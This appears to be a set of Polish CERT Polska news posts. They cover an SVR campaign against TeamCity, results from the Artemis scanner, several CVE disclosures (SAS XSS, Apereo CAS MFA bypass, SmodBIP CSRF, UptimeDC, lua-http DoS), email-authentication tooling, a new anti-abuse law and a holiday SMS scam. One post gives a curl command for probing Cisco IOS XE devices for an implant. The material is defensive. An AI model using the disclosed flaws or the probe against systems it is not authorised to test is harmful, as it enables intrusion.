Federalne Biuro Śledcze (FBI), Amerykańska Agencja Bezpieczeństwa Cybernetycznego i Infrastruktury (CISA), Narodowa Agencja Bezpieczeństwa (NSA), Brytyjskie Narodowe Centrum Bezpieczeństwa Cybernetycznego (UK NCSC), Polska Służba Kontrwywiadu Wojskowego (SKW) oraz CERT Polska (CERT.PL) wykryły, że Rosyjska Służba Wywiadu Zagranicznego (SVR) wykorzystuje podatność CVE-2023-42793 do szeroko zakrojonych działań, skierowanych przeciwko serwerom oprogramowania JetBrains TeamCity.

Działania SVR trwają co najmniej od końca września 2023 roku. Oprogramowanie JetBrains TeamCity jest używane do zarządzania i automatyzacji procesu kompilacji, budowania, testowania i wydawania oprogramowania. Dostęp do serwera TeamCity może umożliwić dostęp do kodów źródłowych, certyfikatów kryptograficznych oraz może być wykorzystany do wpłynięcia na wytwarzanie oprogramowania - co z kolei może pozwolić na manipulowanie łańcuchem dostaw oprogramowania. Choć SVR w 2020 roku przeprowadziła podobne działania przeciwko firmie SolarWinds i jej klientom, agencje stojące za publikacją nie zaobserwowały dotychczas prób wykorzystania dostępu zdobytego poprzez CVE TeamCity w podobny sposób. Zaobserwowano natomiast eskalację uprawnień, poszerzanie dostępu wewnątrz sieci, umieszczanie w systemach informatycznych dodatkowych narzędzi oraz inne działania mające na celu zagwarantowanie długotrwałego, trudnego do wykrycia dostępu do skompromitowanych systemów.

Kompromitacja łańcucha dostaw oprogramowania jest jednym z najtrudniejszych do wykrycia oraz przeciwdziałania zagrożeń, choć wymaga zaangażowania znacznych zasobów po stronie wrogiej służby - nawet nie dni, ale tygodni gromadzenia cennego dostępu, prac R&D czy planowania. Zaufane, popularne, powszechnie używane oprogramowanie może otrzymać aktualizację która, w najprostszym scenariuszu, uruchomi u ofiar narzędzia obcej służby dające dostęp do urządzenia czy całego systemu. W bardziej skomplikowanym scenariuszu, dostęp do systemów kompilacji może zostać wykorzystany do wprowadzenia niezauważalnych modyfikacji do kodu źródłowego (jak na przykład wprowadzenie niezauważalnych z zewnątrz modyfikacji do kryptografii pozwalających na odczytanie ruchu sieciowego). Jednocześnie tego typu działania, jak pokazuje historia, mogą łatwo wymknąć się spod kontroli i spowodować ogromne szkody dla podmiotów cywilnych, gospodarki czy też bezpieczeństwa publicznego.

SKW, działając wspólnie z CERT.PL oraz partnerskimi służbami specjalnymi Wielkiej Brytanii i Stanów Zjednoczonych współpracując z licznymi podmiotami prywatnymi przeciwdziałały rosyjskiej próbie uzyskania dostępu do oraz potencjalnie kompromitacji łańcucha dostaw wytwarzania oprogramowania dziesiątek podmiotów. Wspólne działania pozwoliły na identyfikację kampanii, ofiar i technik wykorzystywanych przez SVR w trakcie działań, na skuteczne zablokowanie infrastruktury wykorzystywanej do prowadzenia operacji oraz na unieszkodliwienie narzędzi wykorzystywanych przez SVR. Nie są to pierwsze ani ostatnie działania sojuszniczych służb, mające na celu ochronę bezpieczeństwa pańswta, publicznego oraz prywatnego przed nierozsądnymi, nieproporcjonalnymi działaniami Rosji.

Aby zwrócić publiczną uwagę na szkodliwe i niebezpieczne działania Federacji Rosyjskiej, w dniu dzisiejszym Federalne Biuro Śledcze (FBI), Amerykańska Agencja Bezpieczeństwa Cybernetycznego i Infrastruktury (CISA), Narodowa Agencja Bezpieczeństwa (NSA), Brytyjskie Narodowe Centrum Bezpieczeństwa Cybernetycznego (UK NCSC), Polska Służba Kontrwywiadu Wojskowego (SKW) oraz CERT Polska (CERT.PL) przekazują informacje dotyczące najnowszych działań SVR, aby umożliwić i pomóc organizacjom w wykrywaniu zagrożeń oraz zabezpieczeniu własnych sieci, aby dostarczyć skompromitowanym podmiotom użytecznych wskaźników kompromitacji, a także umożliwić podmiotom z sektora cyberbezpieczeństwa ulepszenie detekcji i skuteczniejsze przeciwdziałanie aktywności SVR.

Agencje stojące za publikacją rekomendują, aby wszystkie podmioty wykorzystujące oprogramowanie JetBrains, które nie wdrożyły na czas aktualizacji lub innych mechanizmów zapobiegających eksploitacji, założyły, że SVR mogła uzyskać dostęp do ich systemów informatycznych, oraz rozpoczęły proaktywny proces wykrywania zagrożenia w oparciu o zawarte w tym raporcie IoC. W przypadku podejrzenia kompromitacji systemu informatycznego, administratorzy systemów powinni rozpocząć proces reagowania na incydent oraz zgłosić ten fakt do właściwego zespołu CSIRT szczebla krajowego.

SKW oraz CERT.PL pragną wyrazić podziękowania za współpracę podmiotom prywatnym, które udzieliły wymiernego wsparcia i podjęły skoordynowane z sektorem publicznym działania. Partnerstwo publiczno-prywatne jest jednym z najważniejszych oraz najskuteczniejszych mechanizmów przeciwdziałania zagrożeniom w cyberprzestrzeni. W szczególności SKW i CERT.PL pragną podziękować zespołowi bezpieczeństwa firmy Microsoft – po poinformowaniu, Microsoft wyłączył wszystkie zidentyfikowane konta usług wykorzystywane przez SVR jako kanały komunikacji i zarządzania.

Szczegółowe opracowanie techniczne przygotowane przez Federalne Biuro Śledcze (FBI), Amerykańską Agencję Bezpieczeństwa Cybernetycznego i Infrastruktury (CISA), Narodową Agencję Bezpieczeństwa (NSA), Brytyjskie Narodowe Centrum Bezpieczeństwa Cybernetycznego (UK NCSC), Polską Służba Kontrwywiadu Wojskowego (SKW) oraz CERT Polska (CERT.PL) można znaleźć pod adresem: https://www.gov.pl/attachment/f111510e-f9b6-40e7-b3f0-7cae28c8ff38

Artemis działa już rok - sprawdź efekty

2023-12-13T09:00:00+02:00

Rok 2023 to kolejne działania CERT Polska poprawiające bezpieczeństwo polskiego internetu. Jednym z zainicjowanych w tym czasie projektów był Artemis. Dwanaście miesięcy działania dało imponujące efekty - przeskanowaliśmy ponad 50 tys. domen i adresów IP, odkrywając blisko 180 tys. podatności lub błędnych konfiguracji.

Jak działa Artemis?

Artemis to narzędzie rozwijane przez zespół CERT Polska, a zapoczątkowane przez członków koła Politechniki Warszawskiej KN Cyber. Przy jego pomocy badamy strony udostępnione w internecie w poszukiwaniu podatności bezpieczeństwa i błędów konfiguracyjnych. Regularne skanowanie systemów pozwala monitorować i podnosić ich poziom bezpieczeństwa. Uzyskane wyniki nie są w żaden sposób upubliczniane, a jedynie niezwłocznie przekazywane administratorom, dzięki czemu zyskują oni cenną wiedzę na temat wykrytych podatności i mogą wykorzystać ją w celu poprawy bezpieczeństwa systemów. Warto też dodać, że w ramach ponownych testów zespół CERT Polska sprawdza, czy zostały wdrożone niezbędne poprawki.

Istotną cechą przygotowanego przez nas narzędzia jest to, że proces skanowania pozwala administratorom zidentyfikować obserwowane działania jako prowadzone przez CERT Polska. Pozwala to ograniczyć do minimum ewentualny stres i zagrożenia związane z pochopnym reagowaniem. Wszystkie istotne dla administratorów informacje zostały opisane na dedykowanej podstronie: https://cert.pl/skanowanie/.

Rezultaty licznych skanowań, poza podnoszeniem poziomu bezpieczeństwa danego podmiotu, pozwalają też budować szerszy obraz cyberbezpieczeństwa Polski i kierować zasoby CERT Polska tam, gdzie są one najbardziej potrzebne, np. poprzez tworzenie poradników, czy prowadzenie akcji informacyjnych i edukacyjnych.

Co już wykrył Artemis?

Skanowanie trwa od początku stycznia. Blisko rok działania pozwala nam zebrać odpowiednią liczbę danych, by zmierzyć się z oceną działania Artemisa. A ta wypada pozytywnie. Wyniki jednoznacznie wskazują na potrzebę istnienia takiego narzędzia, a zainteresowanie podmiotów świadczy o tym, że jest rozpoznawalne i cenione.

Do 13 grudnia 2023 łącznie przeskanowano ok. 50.6 tys. domen i adresów IP oraz ok. 249.7 tys. subdomen, w tym m.in.:

ok. 36.9 tys. domen oraz ok. 25.7 tys. subdomen szkół i placówek oświatowych - skanowane były m.in. strony szkół podstawowych, ponadpodstawowych oraz policealnych, jak również domeny młodzieżowych domów kultury, przedszkoli czy poradni psychologiczno-pedagogicznych,
ok. 5.4 tys. domen i adresów IP oraz ok. 93.3 tys. subdomen jednostek samorządu terytorialnego - skanowane były także np. strony spółek odpowiedzialnych za wywóz śmieci, jak również archiwalne domeny czy systemy obsługujące pocztę, jeśli znajdowały się w subdomenie danej gminy,
890 domen i adresów IP oraz ok. 84.4 tys. subdomen uczelni - były to np. strony wydziałów, ale też domeny związane z konferencjami czy projektami naukowymi,
521 domen oraz ok. 2.3 tys. subdomen banków,
267 domen oraz ok. 34.1 tys. subdomen operatorów usług kluczowych.

Łącznie zgłoszono ok. 178 tys. podatności lub błędnych konfiguracji, w tym ok. 11.4 tys. wiążących się z wysokim zagrożeniem. Przynajmniej jedną podatność bądź błędną konfigurację wykryto w ponad 64 tys. przeskanowanych domen lub subdomen.

Znaleźliśmy m.in.:

ok. 74.8 tys. przypadków korzystania z nieaktualnego oprogramowania - może to stwarzać ryzyko ataku przy użyciu znanych podatności. Warto pamiętać, że niektóre z podatności mogą skutkować tym, że ze strony można pobrać dane, inne pozwalają zmieniać treść, jeszcze inne - uzyskać uprawnienia administratora;
ok. 43.3 tys. przypadków problemów z konfiguracją SSL/TLS, co powoduje ryzyko przechwycenia komunikacji użytkownika ze stroną, a jeżeli dane zostaną przechwycone i pojawił się tam login i hasło, to przestępca może je poznać i zalogować się do serwisu jako uprawniony użytkownik;
ok. 26.4 tys. przypadków błędnie skonfigurowanych mechanizmów weryfikacji nadawcy poczty e-mail, co może pozwolić na wysyłanie fałszywych e-maili z danej domeny,
ok. 5.4 tys. przypadków konkretnych krytycznych lub poważnych podatności umożliwiających np. przejęcie strony lub pobranie informacji z bazy danych.

Administratorzy skanowanych systemów na bieżąco otrzymują informacje o wykrytych podatnościach. Pozwala to na budowanie bezpieczniejszej cyberprzestrzeni i podniesienie bezpieczeństwa wszystkich użytkowników sieci, ponieważ podmioty nie są wybierane przypadkowo. Zależy nam, by nasze działania objęły możliwie szeroki zakres wynikający z ustawy o krajowym systemie cyberbezpieczeństwa.

Podatność w oprogramowaniu SAS 9.4

2023-12-12T10:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu SAS 9.4 i koordynował proces ujawniania informacji. Atakujący może spreparować link, który – gdy zostanie użyty przez zalogowanego użytkownika – spowoduje wykonanie kodu JavaScript. Powodem jest niepoprawna walidacja parametru "_program" w endpoincie "/SASStoredProcess/do". Podatności nadany został identyfikator CVE-2023-4932.

Testowane były jedynie wersje 9.4_M7 oraz 9.4_M8, dla których wydane zostały hot fixy rozwiązujące problem. Poprzednie wersje również mogą być podatne, jednak nie zostało to potwierdzone.

Podziękowania

Za zgłoszenie podatności dziękujemy Sławomirowi Zakrzewskiemu oraz Maksymilianowi Kubiakowi z firmy AFINE.

Podatność w oprogramowaniu Apereo CAS

2023-11-03T07:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Apereo CAS i uczestniczył w jej koordynacji. Podatność pozwala na ominięcie wieloskładnikowego uwierzytelnienia poprzez podszycie się pod urządzenie wcześniej zapisane jako zaufane. Podatności nadano identyfikator CVE-2023-4612 i dotyczy ona wszystkich wersji oprogramowania włącznie z 7.0.0-RC7. Nie wiadomo, czy w nowszych wersjach oprogramowania podatność zostanie usunięta. W momencie publikacji nie wydano stosownej aktualizacji. Producent oprogramowania nie rozpatruje błędu jako podatności i twierdzi, że jest to nieścisłość w dokumentacji.

Podziękowania

Za zgłoszenie podatności dziękujemy Maksymowi Brzęczkowi z efigo.pl.

Aktywnie wykorzystywana krytyczna podatność w oprogramowaniu CISCO IOS XE (CVE-2023-20198)

2023-10-20T14:00:00+01:00

Firma Cisco opublikowała informację o krytycznej podatności CVE-2023-20198 w funkcjonalności Web User Interface oprogramowania Cisco IOS XE. Luka umożliwia nieautoryzowanemu użytkownikowi utworzenie konta administratora z poziomu interfejsu użytkownika. Tym samym możliwe jest przejęcie kontroli nad urządzeniem docelowym.

Podatność była aktywnie używana w atakach od 18 września. W oczekiwaniu na poprawki bezpieczeństwa, producent zaleca wyłączenie funkcji serwera HTTP w systemach dostępnych z poziomu Internetu.

Szczegóły podatności i rekomendacje

Podatność dotyczy wszystkich wersji oprogramowania Cisco IOS XE, dla których włączona jest funkcjonalność web UI.

Web UI jest wbudowanym narzędziem do zarządzania systemem, opartym na graficznym interfejsie użytkownika. Nie powinno być one dostępne z poziomu Internetu.

Dzięki wykorzystaniu podatności w systemie, atakujący ma możliwość utworzenia nowego konta administratora, które w dalszych krokach służy do utworzenia implantu, który składa się z pliku konfiguracyjnego cisco_service.conf. Plik ten definiuje nowy punkt końcowy serwera WWW, używany do interakcji z implantem. Aby implant stał się aktywny, serwer sieciowy musi zostać ponownie uruchomiony. Punkt końcowy przyjmuje określone parametry, które umożliwiają atakującemu wykonanie dowolnych poleceń na poziomie systemu.

Firma Cisco rekomenduje natychmiastowe wyłączenie funkcji serwera HTTP dla wszystkich instancji Cisco IOS XE dostępnych z Internetu.

Wykrycie prób wykorzystania podatności

Firma Cisco rekomenduje wszystkim organizacjom, które mogą być dotknięte atakiem, natychmiastowe wdrożenie działań na podstawie poradnika Cisco Product Security Incident Response Team PSIRT.

Organizacje powinny zweryfikować, czy nie zostały utworzone nowe konta użytkowników, które nie są znane administratorom sieci. W dalszej kolejności należy zbadać, czy nie został wprowadzony do systemu implant, można tego dokonać wykonując polecenie ze stacji roboczej, posiadającej dostęp do systemu:

curl -k -X POST "https://systemip/webui/logoutconfirm.html?logon_hash=1"

W przypadku gdy w odpowiedzi zwracany jest ciąg heksadecymalny, wówczas świadczy to o wprowadzeniu implantu do systemu przez atakującego.

W przypadku wykrycia prób wykorzystania podatności, zalecamy niezwłoczną weryfikację logów, a następnie rozpoczęcie procedury obsługi incydentu oraz skontaktowanie się z właściwym zespołem CSIRT:

Podatność w oprogramowaniu SmodBIP

2023-10-10T20:00:00+01:00

Opis podatności

CERT Polska w ramach badań własnych znalazł podatność typu Cross-Site Request Forgery (CSRF) w oprogramowaniu SmodBIP, której nadano identyfikator CVE-2023-4837. Atakujący może spreparować link, który gdy zostanie kliknięty przez administratora, wykona dowolną operację z jego uprawnieniami. Może to być na przykład dodanie drugiego konta administratora, dzięki czemu atakujący uzyska pełen dostęp administracyjny do serwisu.

SmodBIP nie jest już utrzymywany i nie należy oczekiwać, aby ta luka w zabezpieczeniach została usunięta. Podatne są potencjalnie wszystkie wersje oprogramowania – testy przeprowadzone zostały na najnowszej, tj. 2.21.

Podatność w oprogramowaniu Uptime DC

2023-10-05T20:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu UptimeDC i uczestniczył w jej koordynacji. Podatność pozwala każdemu zalogowanemu użytkownikowi zmienić hasło na kontach innych użytkowników (w tym administratorów), w efekcie czego możliwa była eskalacja uprawnień. Podatność, której nadano identyfikator CVE-2023-4997, została potwierdzona przez producenta i naprawiona w wersji 2.0.0.33940.

Podziękowania

Za zgłoszenie podatności dziękujemy Antoniemu Kwietniewskiemu z Alior Banku.

CERT Polska poprawia bezpieczeństwo poczty elektronicznej

2023-09-15T09:30:00+02:00

W CERT Polska stale pracujemy nad narzędziami które poprawiają bezpieczeństwo użytkowników internetu w Polsce. Właśnie dlatego stworzyliśmy serwis bezpiecznapoczta.cert.pl, którego celem jest ochrona użytkowników poczty elektronicznej i ułatwienie instytucjom sprawdzenia poprawności konfiguracji mechanizmów podnoszących jej bezpieczeństwo.

Główne funkcjonujące dziś instrumenty weryfikacji nadawcy poczty to: SPF, DMARC i DKIM. Jeżeli instytucja nie ma ich poprawnie skonfigurowanych, naraża się na znaczące ryzyko. Daje bowiem cyberprzestępcom możliwość wysyłania fałszywych wiadomości, w których mogą oni podszyć się pod dowolnego nadawcę z domeny tego podmiotu. Właśnie dlatego niektórzy dostawcy poczty traktują e-maile przychodzące z domen niewykorzystujących tych mechanizmów jako spam.

Warto zaznaczyć, że używanie mechanizmów SPF, DKIM i DMARC nie wymaga dodatkowej pracy od użytkownika poczty – jeśli administrator je skonfiguruje, wiadomości są weryfikowane automatycznie.

Nowy obowiązek prawny

25 sierpnia została opublikowana ustawa z dnia 28 lipca 2023 r. o zwalczaniu nadużyć w komunikacji elektronicznej. Wśród innych istotnych rozwiązań, znajdziemy w niej także obowiązek stosowania mechanizmów umożliwiających weryfikację nadawcy wiadomości e-mail. Zapisy te dotyczą dostawców poczty, którzy świadczą usługi dla:

co najmniej 500 000 użytkowników poczty lub
dla podmiotu publicznego.

Jeżeli w aktualnej ofercie pocztowej, z której korzysta podmiot publiczny, istnieje możliwość skonfigurowania mechanizmów ochrony poczty lub poczta jest obsługiwana samodzielnie, to podmiot publiczny ma 30 dni, liczone od 25 sierpnia, na wprowadzenie ich w życie.

W czym pomoże narzędzie bezpiecznapoczta.cert.pl

Nasze narzędzie pozwala w prosty sposób sprawdzić konfigurację mechanizmów SPF, DKIM i DMAC poprzez podanie domeny, lub wysłanie wiadomości na dedykowany adres mailowy.

Rekomendowaną przez nas ścieżką jest wysyłka wiadomości, bo pozwoli to na sprawdzenie wszystkich trzech mechanizmów. W przypadku podania jedynie domeny, nie ma możliwości sprawdzenia konfiguracji mechanizmu DKIM.

Odpowiedź na pytanie jak działają i w jaki sposób można poprawnie skonfigurować mechanizmy SPF, DMARC i DKIM znajduje się w przygotowanym przez nas artykule: mechanizmy weryfikacji nadawcy wiadomości.

Warto pamiętać, że domeny niesłużące do wysyłki wiadomości też powinny posiadać poprawną konfigurację SPF i DMARC, aby ograniczyć ryzyko podszycia się pod nie. Takie domeny też sprawdzicie używając naszego narzędzia.

Narzędzie CERT Polska jest dostępne na stronie https://bezpiecznapoczta.cert.pl/.
Pytania i wątpliwości można przesyłać na adres: bezpiecznapoczta@cert.pl.

Ustawa o zwalczaniu nadużyć w komunikacji elektronicznej

2023-09-12T12:00:00+01:00

Co zmieni się po wejściu w życie ustawy?

Zacznijmy od najważniejszej kwestii, czyli nadużycia w komunikacji elektronicznej. Zanim będzie można je zwalczać, należy precyzyjnie określić co jest niedozwolone. Ustawa wprowadza więc następującą definicję:

Nadużycie w komunikacji elektronicznej – świadczenie lub korzystanie z usługi telekomunikacyjnej lub korzystanie z urządzeń telekomunikacyjnych niezgodnie z ich przeznaczeniem lub przepisami prawa, których celem lub skutkiem jest wyrządzenie szkody przedsiębiorcy telekomunikacyjnemu lub użytkownikowi końcowemu lub osiągnięcie nienależnych korzyści dla podmiotu dopuszczającego się nadużycia w komunikacji elektronicznej, innej osoby fizycznej, osoby prawnej lub jednostki organizacyjnej nieposiadającej osobowości prawnej

Ustawodawca dodaje także przepisy karne umieszczone w artykułach od 29 do 32, które za powyższe przestępstwo ustanawiają karę pozbawienia wolności od 3 miesięcy do 5 lat. W szczególnych wypadkach mniejszej wagi, kara może zostać zmniejszona do grzywny, kary ograniczenia wolności lub pozbawienia wolności do roku.

Ale co z tym zwalczaniem?

Skoro już ustaliliśmy definicję nadużycia, możemy przejść do jego konkretnych wariantów, którym ma przeciwdziałać nowa ustawa:

phishing,
dystrybucja smishingu,
spoofing e-mail,
CLI spoofing.

Edukacja to istotna forma walki z zagrożeniami. Równie ważne jest jednak ograniczenie rozprzestrzeniania się oszustwa, czyli spowodowanie, że dotrze ono do jak najmniejszej liczby osób. Przykładem są wykorzystywane od lat mailowe filtry antyspamowe. Ustawa wprowadza podobne mechanizmy w odniesieniu do wskazanych powyżej poularnych zagrożeń. W dalszej części artykułu zostaną one przybliżone.

Wszystkie terminy w artykule są liczone od dnia ogłoszenia ustawy, czyli 25 sierpnia.

Co się zmienia w walce z phishingiem?

Phishing, czyli strony internetowe wyłudzające dane to zdecydowanie najpoważniejsze zagrożenie występujące w Polsce. Statystyki przedstawione w raporcie za rok 2022 wskazują, że 65% zarejestrowanych przez nas incydentów dotyczy tego zjawiska.

Ustawa o zwalczaniu nadużyć w komunikacji elektronicznej przewiduje umocowanie prawne działającego już od marca 2020 roku projektu Listy ostrzeżeń. Lista pozwala dostawcom internetu, którzy zawrą porozumienie z Ministerstwem Cyfryzacji, NASK - Państwowym Instytutem Badawczym oraz Urzędem Komunikacji Elektronicznej, na blokowanie ruchu do stron phishingowych na poziomie serwerów DNS.

Lista ostrzeżeń jest projektem, który skutecznie zmniejsza efekty kampanii phishingowych w Polsce. Od początku jej działania zablokowano 47 mln prób wejść na ponad 54 tys. złośliwych domen.

Jak powstrzymać smishing?

Smishing, czyli dystrybucja linków do stron phishingowych w SMS-ach, to potężne narzędzie w rękach przestępców. Od początku tego roku przyjęliśmy prawie 50 tys. zgłoszeń wiadomości, które prowadziły do oszustwa.

Blokowanie tego zjawiska zostało rozbite na dwa aspekty. Pierwszym z nich jest prowadzenie przez CSIRT NASK wykazu wzorców złośliwych wiadomości. Operatorzy będą mieli obowiązek zablokowania wiadomości przychodzącej, jeżeli pokryje się ona z jakimkolwiek wzorcem znajdującym się w wykazie. Każdy wzorzec musi zostać upubliczniony w terminie od 14 do 21 dni od pojawienia się w wykazie.

Drugim elementem jest walka z częstym wykorzystywaniem w oszustwach spraw urzędowych m.in. zwrotu podatku czy opłaty mandatu. W tym celu zostanie wprowadzona ochrona wykorzystywanych przez podmioty publiczne nadpisów nadawcy SMS. Ten proces składa się z 2 elementów:

stworzenia wykazu zastrzeżonych nadpisów SMS oraz ich złośliwych wariantów,
listy integratorów usług SMS świadczących usługi dla podmiotów publicznych, prowadzonej przez Urząd Komunikacji Elektronicznej.

Na listę nadpisów będzie się składać jawny element w postaci wykorzystywanego nadpisu zastrzeżonego przez podmiot publiczny wraz z nazwą tego podmiotu oraz utajniona lista złośliwych wariantów tego nadpisu. Taki podział ma na celu z jednej strony udostępnienie obywatelom listy nadpisów, którym mogą zaufać, przy jednoczesnym nieudostępnianiu nadmiernych informacji przestępcom.

Nowa ustawa wprowadza także w tym kontekście pewne obowiązki dla przedsiębiorców telekomunikacyjnych. Będą oni musieli:

blokować wiadomości SMS z nadpisem będącym w grupie złośliwych wariantów,
blokować wiadomości SMS z nadpisem dozwolonym, jeżeli nie zostały wysłane przez integratora usług SMS będącego na liście UKE.

Integrator usług SMS może skorzystać z nadpisu znajdującego się na wykazie zastrzeżonych nadpisów tylko na zlecenie podmiotu publicznego, do którego należy ten nadpis.

CSIRT NASK musi uruchomić system udostępniający stworzone wykazy w terminie 3 miesięcy, a następnie operatorzy w przeciągu kolejnych 3 miesięcy muszą się do niego przyłączyć.

Walka z fałszywymi e-mailami

Fałszywe e-maile są nadal poważnym zagrożeniem, które doprowadza wiele instytucji do strat. Mogą one służyć do dystrybucji phishingu, złośliwego oprogramowania czy oszustwa "na prezesa" czyli sytuacji, w której pracownik otrzymuje od rzekomego przełożonego pilne zadanie, często związane z przelaniem dużej kwoty pieniędzy. Sam protokół SMTP służący do przesyłania wiadomości pochodzi z 1982 roku i mimo aktualizacji na przestrzeni lat, w swej podstawowej wersji posiada wiele słabości, głównie dlatego, że nie był tworzony z myślą o bezpieczeństwie.

Ustawa o zwalczaniu nadużyć w komunikacji elektronicznej wymusza na dostawcach poczty dla co najmniej 500 000 użytkowników lub dla podmiotu publicznego korzystanie z mechanizmów:

SPF (ang. Sender Policy Framework)
DMARC (ang. Domain-based Message Authentication, Reporting & Conformance)
DKIM (ang. DomainKeys Identified Mail)

Powyższe mechanizmy powstały na przestrzeni lat i działając wspólnie są w stanie zarówno uniemożliwić wykorzystanie naszej domeny w spoofingu e-mail, jak i zmaksymalizować szanse na wykrycie fałszywej wiadomości. Ich funkcjonowanie zostało szczegółowo opisane w artykule na naszej stronie. W związku z nowym obowiązkiem korzystania z tych mechanizmów przez podmioty publiczne, stworzyliśmy usługę Bezpiecznapoczta, która pomoże określić poprawność i skuteczność implementacji wspomnianych zabezpieczeń. Jeżeli w aktualnej ofercie pocztowej, z której korzysta podmiot publiczny, istnieje możliwość skonfigurowania mechanizmów ochrony poczty lub poczta jest obsługiwana samodzielnie, to podmiot publiczny ma 30 dni na wprowadzenie ich w życie.

Jednak nie wszystkie fałszywe wiadomości e-mail są związane z niedoskonałością mechanizmów pocztowych. Równie groźne, są te wysyłane z przejętych skrzynek pocztowych. Z tego powodu ustawa wprowadza obowiązek umożliwienia podmiotom publicznym korzystania z uwierzytelnienia wieloskładnikowego.

Jak powyższe zapisy wpływają na dostawców poczty?

Na te pytanie odpowiadają artykuły 40 oraz 41. Dostawca poczty świadczący usługi podmiotom publicznym, który nie ma w ofercie uwierzytelnienia wieloskładnikowego, musi w przeciągu 6 miesięcy przedstawić ofertę, która zapewni tę funkcjonalność. W kwestii wdrożenia mechanizmów SPF, DMARC i DKIM dostawca usługi ma 3 miesiące na włączenie ich do oferty aktualnej umowy.

Telefon z banku

Na przestrzeni ostatnich lat urosło w siłę oszustwo polegające na korzystaniu z techniki CLI spoofing (ang. Caller ID Spoofing), która polega na modyfikacji pola wyświetlanego numeru połączenia przychodzącego. Przykładowym zastosowaniem tej metody jest oszustwo, w którym dzwoni do nas osoba przedstawiająca się za pracownika banku, a numer "z którego dzwoni" jest łatwym do wyszukania w internecie numerem infolinii banku. W rzeczywistości dzwoni do nas z innego numeru, a wyświetlana wartość to tylko napis, którym się "nam przedstawia", tak samo jak wyświetla się nazwa zapisanego w naszym telefonie kontaktu.

W przeciwieństwie do zabezpieczania wiadomości e-mail w tym wypadku nie ma w pełni sprawdzonych mechanizmów. Pierwszym aspektem walki z CLI Spoofingiem jest wprowadzenie narzędzia funkcjonującego już m.in. w Wielkiej Brytanii, czyli listy numerów, z których nie można wykonywać połączeń. Zamysł takiej listy polega na zgłaszaniu przez instytucje numerów infolinii, które można wyszukać łatwo w internecie, co sprawia, że historia przedstawiana przez dzwoniącego jest wiarygodna. Takie numery, które pełnią tylko funkcję odbiorczą oraz są łatwe do powiązania z instytucją, powinny być zgłoszone do Prezesa Urzędu Komunikacji Elektronicznej, który stworzy dla nich dedykowaną listę. Operatorzy telekomunikacyjni są zobowiązani do blokowania połączeń wychodzących z numerów będących na tej liście najpóźniej za 6 miesięcy.

Drugim zadaniem nałożonym na operatorów jest obowiązek blokowania lub ukrywania sfałszowanego identyfikatora w przypadku rozpoznania CLI Spoofingu. Ten przepis wchodzi po 12 miesiącach.

Podatność w bibliotece lua-http

2023-09-05T10:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w bibliotece lua-http i uczestniczył w jej koordynacji. Podatność pozwala na wykonanie ataku odmowy usługi (DoS) poprzez wysłanie odpowiednio spreparowanego zapytania do serwera. Podatność została potwierdzona przez producenta i naprawiona. Podatne są wszystkie wersje z 0.4 włącznie do commitu ddab283. Podatności został nadany numer CVE-2023-4540.

Podziękowania

Za zgłoszenie podatności dziękujemy Arturowi Łąckiemu.

Wakacyjne oszustwo - nowa metoda cyberprzestępców

2023-08-04T16:00:00+02:00

Wakacje to czas wyjazdów, przede wszystkim dla dzieci i młodzieży. Poza domem nietrudno o pechowe przygody z telefonem, takie jak zagubienie czy zniszczenie smartfona. Jeśli dziecko znajdzie się w takiej sytuacji, dość prawdopodobne jest, że będzie się kontaktować z rodzicami z innego numeru i na tym właśnie opiera się schemat opisywanego przez nas oszustwa. Poniżej zamieszczamy przykładowe wiadomości wysyłane masowo przez cyberprzestępców:

Część z tych wiadomości może trafić do rodziców, których dzieci przebywają na obozach, koloniach, czy innego rodzaju wyjazdach. Zaintrygowany lub jedynie spełniający prośbę "dziecka", rodzic może od razu wysłać wiadomość w komunikatorze pod podany numer. Może też najpierw spróbować zadzwonić do syna lub córki pod dotychczasowy numer, aby dowiedzieć się, co się stało. Jeśli dziecko odbierze, to wszystko się wyjaśni. Jeśli jednak dziecko nie odbierze telefonu, będzie miało wyłączone urządzenie albo akurat będzie poza zasięgiem, to dla rodzica, opisana w otrzymanej wiadomości sytuacja stanie się prawdopodobna.

Zaniepokojony rodzic pisze wówczas wiadomość w komunikatorze na podany numer. Podczas konwersacji oszust wyjaśnia dlaczego komunikuje się z innego telefonu. Z kolei wiadomości od rodzica pozwalają mu uzyskać pewne informacje o dziecku, takie jak imię lub przynajmniej płeć, co ułatwi mu to dalsze podszywanie się. W końcu "dziecko" prosi o zrobienie przelewu na wskazany numer rachunku bankowego, aby zapłacić za nowy telefon.

Jeśli oszust dowie się, że rodzic nie ma bankowości elektronicznej, to poprosi o dane z karty kredytowej i kod SMS autoryzujący operację, aby w ten sposób uzyskać dostęp do pieniędzy rodzica. Kiedy natomiast okaże się, że rodzic nie ma takiej kwoty na swoim koncie, to oszust proponuje zakup tańszego telefonu.

Jak należy się zachować w sytuacji, gdy otrzymamy podobną wiadomość? Przede wszystkim trzeba spróbować skontaktować się z dzieckiem w inny sposób, szczególnie wtedy, gdy pojawia się prośba o przesłanie pieniędzy.

Zawsze, gdy otrzymujemy takie nieoczekiwane prośby należy skontaktować się z nadawcą wiadomości za pomocą innego kanału komunikacji. W szczególności jeśli wiadomości te pochodzą z nieznanych nam dotąd numerów, adresów email, kont w mediach społecznościowych lub komunikatorach.

Nawet jeśli konto w komunikatorze jest nam znane, to należy mieć na uwadze fakt, że oszuści za pomocą fałszywych paneli logowania mogą przejąć dane uwierzytelniające do kont w mediach społecznościowych. Przejęte konta mogą być następnie wykorzystane do wysyłania do znajomych próśb o przekazanie pieniędzy w powiązanych komunikatorach.

Najłatwiej jest taką prośbę zweryfikować po prostu dzwoniąc do znajomego, dziecka, lub innego członka rodziny, który prosi o przesłanie pieniędzy. Może się jednak zdarzyć tak, że ta osoba nie będzie mogła akurat wtedy odebrać albo będzie miała wyłączony telefon.

Warto wiedzieć, że wiele komunikatorów oferuje także możliwość wykonywania połączeń głosowych. Bardzo trudno jest podrobić czyjś głos na żywo, zwłaszcza jeśli nie ma się nagrań/próbek głosu. Można więc spróbować zweryfikować tożsamość naszego rozmówcy też w taki sposób. Oszust będzie jednak próbował jakoś wytłumaczyć to, że nie może rozmawiać.

